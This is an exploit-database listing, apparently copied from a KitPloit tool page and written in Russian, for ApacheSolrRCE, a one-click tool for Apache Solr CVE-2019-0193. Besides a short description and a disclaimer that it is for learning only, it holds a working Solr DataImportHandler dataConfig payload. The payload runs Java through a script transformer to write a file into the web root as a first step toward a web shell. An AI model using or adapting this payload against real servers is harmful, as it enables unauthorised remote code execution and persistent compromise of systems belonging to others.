Sploitus

Exploit for ApacheSolrRCE

kitploit · 2026-08-25

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FREEFV-APACHESOLRRCE
# Заявление о проекте

Только для учебных целей в области информационной безопасности, не используйте для незаконного тестирования и атак.

# ApacheSolrRCE

ApacheSolrRCE (CVE-2019-0193) — однокнопочная запись shell, принцип заключается в записи через поток файлов Java при выполнении кода.

Примечание: автор довольно неопытен, если у вас есть баги или другие потребности, скачайте код и исправьте самостоятельно.

# Описание инструмента

Поскольку payload, циркулирующие в интернете, являются выполнением команд и неудобны для получения веб-шелла, я написал этот payload (при ответе 123456 означает успешную запись).

Примечание: инструмент только для вспомогательного тестирования; если инструмент не может записать, рекомендуется делать это вручную.

root@kitploit:~
    
    
    <dataConfig>
    <dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
      <script><![CDATA[
              function poc(row){
    var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
    row.put("title",123456);
    return row;
    
    }
    
    ]]></script>
    
    <document>
        <entity
            stream="true"
            name="entity1"
            datasource="streamsrc1"
            processor="XPathEntityProcessor"
            rootEntity="true"
            forEach="/RDF/item"
            transformer="script:poc">
                 <field column="title" xpath="/RDF/item/title" />
        </entity>
    </document>
    </dataConfig>